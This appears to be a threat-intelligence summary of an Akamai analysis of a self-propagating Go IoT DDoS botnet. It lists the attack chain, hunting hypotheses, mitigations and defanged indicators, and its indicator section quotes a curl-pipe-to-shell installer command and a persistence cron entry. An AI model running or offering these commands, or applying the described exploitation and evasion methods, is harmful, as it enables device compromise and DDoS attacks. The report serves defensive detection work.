11 minhigh
Analyzing a Go-Based IoT Self-Propagating DDoS Botnet | Akamai
A Go-based IoT DDoS botnet uses autonomous random IPv4 scanning to find and exploit vulnerable routers via unauthenticated configuration backups and command injection. Initial infection was observed through Langflow CVE-2026-33017, which downloads a shell installer fetching architecture-specific binaries. The malware connects to a hard-coded C2 over plaintext TCP and offers approximately 30 DDoS methods including volumetric floods, application-layer attacks, and evasion techniques using randomized HTTP traffic and proxy routing. Persistence is maintained via a cron entry executing a copied binary every minute.
Sens:▲ 24hConf:
IOCs31
13ip8sha2564domain4url1cve1file path
Detection / Hunteropenrouter
What Happened
A new type of malicious software targets internet-connected devices like routers and smart gadgets. It spreads on its own by scanning the internet for devices with known security weaknesses, then breaks in to install itself. Once installed, it connects back to a control server and waits for instructions to launch attacks that can overwhelm websites and online services with traffic. The software can launch about 30 different types of attack, including some designed to evade common defenses. Organizations with exposed routers, IoT devices, or Langflow installations should check for indicators of compromise and patch vulnerable systems. Defenders should also ensure their DDoS mitigation strategies account for traffic variation techniques that defeat simple signature-based detection.
Key Takeaways
- Go-based IoT botnet combines an autonomous scanner with a C2 client, enabling simultaneous propagation and attack execution
- Propagation exploits exposed router configuration interfaces (unauthenticated /config.dat backups, TOTO/TOTOLINK command injection) and Langflow CVE-2026-33017
- C2 communication uses plaintext TCP on port 9111 with no encryption, authentication, or obfuscation
- Approximately 30 DDoS methods include volumetric floods, packet rate attacks, game server targeting, HTTPS/TLS floods, and evasion-oriented techniques using randomized traffic and proxy pools
- Persistence achieved via cron entry executing /tmp/sysd every minute
Affected Systems
- IoT devices and routers with exposed configuration or diagnostic interfaces
- TOTO/TOTOLINK routers with /syscmd.htm diagnostic endpoints
- Langflow instances vulnerable to CVE-2026-33017
- Linux systems across x86, i386, amd64, ARM, ARMv7l, ARM5, ARM6, ARM64 architectures
- Android devices (ARM and ARM64 variants)
- Windows systems (bot.exe variant observed)
Vulnerabilities (CVEs)
| CVE | Product | Severity | Description |
|---|---|---|---|
| CVE-2026-33017 | Langflow | Allows remote code execution via the /api/v1/validate/code endpoint, enabling attackers to download and execute arbitrary shell scripts. |
Attack Chain
- Initial Access: Exploitation of Langflow CVE-2026-33017 via /api/v1/validate/code endpoint or exploitation of exposed router configuration interfaces (unauthenticated /config.dat backups, TOTO/TOTOLINK command injection via /syscmd.htm)
- Execution: bins.sh installer script downloaded via curl and executed, which fetches architecture-specific bot binaries using wget and curl, executes them, and removes the binaries after launch
- Persistence: Malware copies itself to /tmp/sysd and adds a cron entry to execute every minute, ensuring survival across reboots
- C2: Binary connects to hard-coded C2 server at 5.175.140.250:9111 over plaintext TCP with no encryption or authentication, reads commands line by line and launches corresponding DDoS methods in goroutines
- Propagation: Scanner module launches 100 concurrent goroutines performing random public IPv4 scanning, filtering RFC1918 and loopback addresses, attempting exploitation of discovered vulnerable devices
- Impact: C2 issues DDoS attack commands from approximately 30 available methods including volumetric floods, packet rate attacks, game server attacks, HTTPS/TLS floods, and evasion-oriented attacks using randomized traffic and proxy pools
Detection Availability
- YARA Rules: No
- Sigma Rules: No
- Snort/Suricata Rules: No
- KQL Queries: No
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: No
No detection rules or queries are provided in the article. The article is a technical analysis of the botnet's capabilities and includes IOCs such as file hashes, IP addresses, domains, and a cron persistence entry.
Detection Engineering Assessment
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Low | Targeted IoT devices and routers typically lack EDR agents. Linux servers with EDR coverage would show process execution and file creation, but the primary affected systems are IoT devices with minimal endpoint telemetry. |
| Network Visibility | High | C2 communication uses plaintext TCP on port 9111 with no encryption. The scanner generates detectable network traffic across 100 concurrent goroutines. Binary downloads occur over plaintext HTTP on port 5001. Router exploitation sends identifiable HTTP requests for /config.dat and /syscmd.htm. |
| Detection Difficulty | Moderate | C2 traffic is unencrypted and uses a non-standard port, making it identifiable via network monitoring. However, the affected IoT devices often lack logging capabilities, and the scanner's random IPv4 scanning pattern may blend with legitimate internet background traffic. Evasion-oriented DDoS methods that randomize HTTP traffic complicate signature-based DDoS detection. |
Required Log Sources
- Network flow logs (egress and ingress)
- Firewall logs
- IDS/IPS alerts
- Honeypot logs
- Web proxy logs
- DNS resolution logs
- Cron job logs or file integrity monitoring on Linux hosts
Hunting Hypotheses
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
| Consider hunting for outbound TCP connections to non-standard ports such as 9111 from IoT devices or Linux hosts, which may indicate plaintext C2 communication (T1071). | Network flow logs, firewall logs, proxy logs | C2 | Medium — legitimate services may use non-standard ports, requiring correlation with other indicators. |
| Consider hunting for systems downloading and executing binaries via shell scripts fetched over HTTP from external servers, particularly where the download uses curl or wget piped to sh (T1105, T1059.004). | Proxy logs, DNS logs, EDR process execution logs, network flow logs | Execution | Low — piping remote scripts directly into a shell interpreter is uncommon for legitimate software installation. |
| Consider hunting for cron entries that execute binaries from temporary directories such as /tmp/, which may indicate persistence via scheduled tasks (T1053.003). | Host-based logs, file integrity monitoring, cron job audit logs | Persistence | Low — legitimate cron jobs rarely execute binaries from /tmp/ directories. |
| Consider hunting for HTTP requests to /config.dat with a User-Agent header of 'Hello World', which indicates the botnet's router configuration backup scanning behavior (T1190). | Network IDS, web proxy logs, firewall logs with deep packet inspection | Exploitation | Low — this specific User-Agent and path combination is unusual for legitimate traffic. |
| Consider hunting for systems making rapid sequential connections to random public IP addresses across multiple concurrent threads, which may indicate autonomous propagation scanning (T1595.001). | Network flow logs, firewall logs, IDS alerts | Propagation | Medium — legitimate internet-wide scanners and security tools may produce similar traffic patterns. |
Control Gaps
- Signature-based DDoS mitigation may fail against Priv7Flood, which randomizes HTTP-like request content across connections using rotating User-Agent strings and random data buffers
- Source-IP-based blocking may be insufficient against TLSPlusBypassFlood, which routes traffic through a proxy pool loaded from a file
- IoT devices typically lack endpoint detection capabilities, limiting visibility into post-compromise behavior on affected devices
- Network segmentation may not prevent exploitation of internet-facing router diagnostic interfaces accessible from internal networks
Key Behavioral Indicators
- HTTP requests to /config.dat with User-Agent: Hello World indicating router configuration backup scanning
- HTTP requests to /syscmd.htm on TOTO/TOTOLINK router interfaces indicating command injection attempts
- Cron entries executing binaries from /tmp/ directories, specifically /tmp/sysd
- Plaintext TCP connections to port 9111 with no TLS or authentication handshake
- Rapid sequential outbound connections to random public IPv4 addresses across 100 concurrent workers
- Download of files named after CPU architectures (x86, i386, amd64, arm, armv7l, arm5, arm6, arm64, android_arm, android_arm64, bot.exe) via wget or curl from external HTTP servers
- Go binary with buildinfo containing ldflags setting main.ServerIP parameter
- LZSS decompression of router configuration data followed by TLV tag parsing for credential extraction
False Positive Assessment
Low — The C2 uses a specific non-standard port (9111) with plaintext TCP, the scanner uses a distinctive User-Agent ('Hello World') for /config.dat requests, and the cron persistence entry follows a specific pattern. The architecture-specific binary naming convention is also distinctive. However, DDoS traffic from compromised devices may be difficult to distinguish from legitimate traffic when evasion methods are used.
Recommendations
Immediate Mitigation
defender takeaway
- Verify against your organization's incident response runbook and team escalation paths before acting. Consider blocking the identified C2 IP 5.175.140.250 and associated infrastructure IPs at network perimeter controls if consistent with your blocking policies.
- Consider searching endpoint and network logs for the listed SHA256 hashes to identify potentially compromised systems.
- If you operate Langflow instances, consider verifying whether CVE-2026-33017 has been patched and reviewing access logs for requests to the /api/v1/validate/code endpoint.
- Consider checking Linux systems and IoT devices for cron entries matching the pattern '* * * * * /tmp/sysd' and investigating any matches.
- If your EDR supports host isolation, consider isolating any systems identified as communicating with the listed C2 infrastructure.
Infrastructure Hardening
- Consider restricting access to router configuration and diagnostic interfaces, particularly /config.dat and /syscmd.htm endpoints, to trusted management networks only.
- Evaluate whether your DDoS mitigation strategy accounts for traffic variation techniques such as randomized HTTP requests and proxy-routed TLS floods, not just static signature matching.
- If applicable to your environment, consider implementing network segmentation to isolate IoT devices from critical infrastructure segments.
- Consider deploying honeypot sensors to detect scanning and exploitation attempts targeting router diagnostic interfaces in your address space.
User Protection
- Consider ensuring all IoT devices and routers are running current firmware versions with known vulnerabilities patched.
- Evaluate whether default credentials on routers and IoT devices have been changed, as this botnet retrieves credentials from exposed configuration backups rather than relying on brute force.
- If your organization manages TOTO/TOTOLINK routers, consider verifying that diagnostic CGI endpoints are not accessible from the public internet.
Security Awareness
- Consider incorporating information about IoT device exposure risks into existing security awareness programs, emphasizing the importance of changing default credentials and disabling unnecessary diagnostic interfaces.
- If your organization uses Langflow or similar AI workflow platforms, consider raising awareness among development teams about the risk of code execution endpoints being exploited for malware delivery.
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping10 techniques
Tactic
Reconnaissance
Tactic
Initial Access
Tactic
Execution
Tactic
Stealth
Tactic
Command and Control
Additional IOCs
- Ips:
91[.]92[.]42[.]232- IP associated with domain deasluon.shop.91[.]92[.]42[.]125- IP associated with confirmed downloader domain falhuhna.shop.91[.]92[.]40[.]63- IP associated with domain johenlg.proxywall.pw.192[.]142[.]55[.]159- Associated botnet infrastructure IP.176[.]65[.]139[.]202- Associated botnet infrastructure IP.176[.]65[.]139[.]114- Associated botnet infrastructure IP.94[.]156[.]152[.]234- Associated botnet infrastructure IP.153[.]75[.]248[.]141- Associated botnet infrastructure IP.81[.]29[.]156[.]139- Associated botnet infrastructure IP.5[.]175[.]223[.]113- Associated botnet infrastructure IP.87[.]106[.]146[.]245- Associated botnet infrastructure IP.
- Domains:
deasluon[.]shop- Domain associated with IP 91.92.42.232. Part of botnet infrastructure.johenlg[.]proxywall[.]pw- Domain associated with IP 91.92.40.63. Part of botnet infrastructure.
- Urls:
hxxp://5[.]175[.]140[.]250:5001/x86- Download URL for x86 architecture bot binary.hxxp://5[.]175[.]140[.]250:5001/amd64- Download URL for amd64 architecture bot binary.hxxp://5[.]175[.]140[.]250:5001/bot.exe- Download URL for Windows bot binary variant.
- File Hashes:
054e7e233444263351f4e6f3d458452bb706d7b1b386b90d97b17ad921b4d129(SHA256) - SHA256 hash shared by arm, armv7l, and android_arm architecture binaries.50d595843b66c092f100576070ae14609806cc87c7c90ba0164d8a63d049f558(SHA256) - SHA256 hash shared by arm64 and android_arm64 architecture binaries.0d4bcf3868dcad3409492dc3b8d01439eacd99e49ca746fbcf019dc32ae82a65(SHA256) - SHA256 hash of arm5 architecture bot binary.b5dc81677b384f01e837374cc508362e2ece6a186f7f08009af3cac2ba7b7ff7(SHA256) - SHA256 hash of arm6 architecture bot binary.
- File Paths:
/tmp/sysd- Persistence binary path. The malware copies itself here and creates a cron entry to execute it every minute.
- Command Lines:
- Purpose: Download and execute the bins.sh installer script via the Langflow CVE-2026-33017 code execution endpoint | Tools:
curl,sh| Stage: Initial Access |curl -s http://<server>:<port>/bins.sh | sh - Purpose: Download, execute, and self-delete architecture-specific bot binaries from the attack server | Tools:
wget,curl,chmod| Stage: Execution - Purpose: Persist malware execution via cron scheduling every minute | Tools:
cron| Stage: Persistence |* * * * * /tmp/sysd > /dev/null 2>&1
- Purpose: Download and execute the bins.sh installer script via the Langflow CVE-2026-33017 code execution endpoint | Tools:
Showing defanged values
- cveCVE-2026-33017Allows remote code execution via the /api/v1/validate/code endpoint, enabling attackers to download and execute arbitrary shell scripts.
- domaindeasluon[.]shopDomain associated with IP 91.92.42.232. Part of botnet infrastructure.
- domainfalhuhna[.]shopConfirmed downloader domain associated with IP 91.92.42.125. Used for serving malware payloads.
- domainjohenlg[.]proxywall[.]pwDomain associated with IP 91.92.40.63. Part of botnet infrastructure.
- domainsalmosnet[.]duckdns[.]orgC2 domain associated with the botnet infrastructure.
- file_path/tmp/sysdPersistence binary path. The malware copies itself here and creates a cron entry to execute it every minute.
- ip153[.]75[.]248[.]141Associated botnet infrastructure IP.
- ip176[.]65[.]139[.]114Associated botnet infrastructure IP.
- ip176[.]65[.]139[.]202Associated botnet infrastructure IP.
- ip192[.]142[.]55[.]159Associated botnet infrastructure IP.
- ip5[.]175[.]140[.]250Primary C2 server (port 9111) and binary download server (port 5001). Hard-coded in the binary via Go ldflags. Used for both C2 command distribution and serving architecture-specific bot binaries.
- ip5[.]175[.]223[.]113Associated botnet infrastructure IP.
- ip81[.]29[.]156[.]139Associated botnet infrastructure IP.
- ip87[.]106[.]146[.]245Associated botnet infrastructure IP.
- ip91[.]92[.]40[.]63IP associated with domain johenlg.proxywall.pw.
- ip91[.]92[.]42[.]125IP associated with confirmed downloader domain falhuhna.shop.
- ip91[.]92[.]42[.]232IP associated with domain deasluon.shop.
- ip94[.]154[.]43[.]54Attacker IP observed in honeypot logs exploiting Langflow CVE-2026-33017 to deliver the bins.sh installer.
- ip94[.]156[.]152[.]234Associated botnet infrastructure IP.
- sha256054e7e233444263351f4e6f3d458452bb706d7b1b386b90d97b17ad921b4d129SHA256 hash shared by arm, armv7l, and android_arm architecture binaries.
- sha2560d4bcf3868dcad3409492dc3b8d01439eacd99e49ca746fbcf019dc32ae82a65SHA256 hash of arm5 architecture bot binary.
- sha2561756584f0dc1dea20d16a8dd5c5c2c56277fabfa4633c7e478882e932cc71886SHA256 hash of the bins.sh installer script that downloads architecture-specific binaries from the attack server.
- sha25636e7f2a2a2711b617e6e7f5e73c49e3cbf03b4398169331750e649070442a30eSHA256 hash of bot.exe, a Windows variant of the bot binary.
- sha25650d595843b66c092f100576070ae14609806cc87c7c90ba0164d8a63d049f558SHA256 hash shared by arm64 and android_arm64 architecture binaries.
- sha25693ad001ca5182100bbfca7140863fad0e18e8022c9f162d2c7aeaf524c59871eSHA256 hash of the x86 architecture bot binary downloaded and executed by the bins.sh installer.
- sha256b5dc81677b384f01e837374cc508362e2ece6a186f7f08009af3cac2ba7b7ff7SHA256 hash of arm6 architecture bot binary.
- sha256e7f5644ab6c3fe20eb4d70cb35e99848480e99cd3ef9fe9275ef1cd68def15aeSHA256 hash of the amd64 architecture bot binary.
- urlhxxp://5[.]175[.]140[.]250:5001/amd64Download URL for amd64 architecture bot binary.
- urlhxxp://5[.]175[.]140[.]250:5001/bins[.]shInitial installer script downloaded after Langflow CVE-2026-33017 exploitation. Fetches and executes architecture-specific bot binaries via wget and curl.
- urlhxxp://5[.]175[.]140[.]250:5001/bot[.]exeDownload URL for Windows bot binary variant.
- urlhxxp://5[.]175[.]140[.]250:5001/x86Download URL for x86 architecture bot binary.